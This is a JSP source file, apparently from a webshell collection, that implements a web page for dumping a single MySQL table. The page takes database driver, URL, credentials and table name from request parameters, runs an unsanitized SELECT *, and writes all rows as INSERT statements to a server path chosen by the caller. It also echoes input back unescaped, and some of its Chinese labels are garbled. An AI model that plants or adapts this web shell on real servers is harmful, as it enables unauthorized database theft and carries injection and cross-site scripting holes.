webshell/drag/mysql数据库脱单个表.jsp

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2013-05-24 00:13:55 +00:00
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String table=request.getParameter("table_name");
if(table!=null&&!table.equals("")){
String backupDir = request.getParameter("bak_path");
String ex=".txt";
String driver =request.getParameter("driver");
String url = request.getParameter("url");
String username = request.getParameter("username");
String password = request.getParameter("password");
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
ResultSetMetaData rsmd = null;
ResultSet rs=null;
Statement stmt = conn.createStatement();
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
rs = stmt.executeQuery("SELECT * FROM " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmd.getColumnCount(); col++) {
bw.append("'");
if (rs.getString(col) == null)
bw.append("");
else
bw.append(rs.getString(col));
if (col == rsmd.getColumnCount())
bw.append("'");
else
bw.append("',");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
rs.close();
stmt.close();
out.println("backup is ok");
conn.close();
}
else{
out.println("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...");
}
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
%>
<form action="" method="post" name="form1" id="form1">
<p><3E><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><input type="text" name="bak_path" <%=request.getParameter("bak_path")%>/></p>
<p>table_name:<input type="text" name="table_name" /></p>
<p>url:<input type="text" name="url" value="<%=request.getParameter("url")%>"/></p>
<p>driver:<input type="text" name="driver" value="<%=request.getParameter("driver")%>"/></p>
<p>username:<input type="text" name="username" value="<%=request.getParameter("username")%>"/></p>
<p>password:<input type="text" name="password" value="<%=request.getParameter("password")%>"/></p>
<p><input type="submit" name="Submit" value="<22>ύ" /></p>
</form>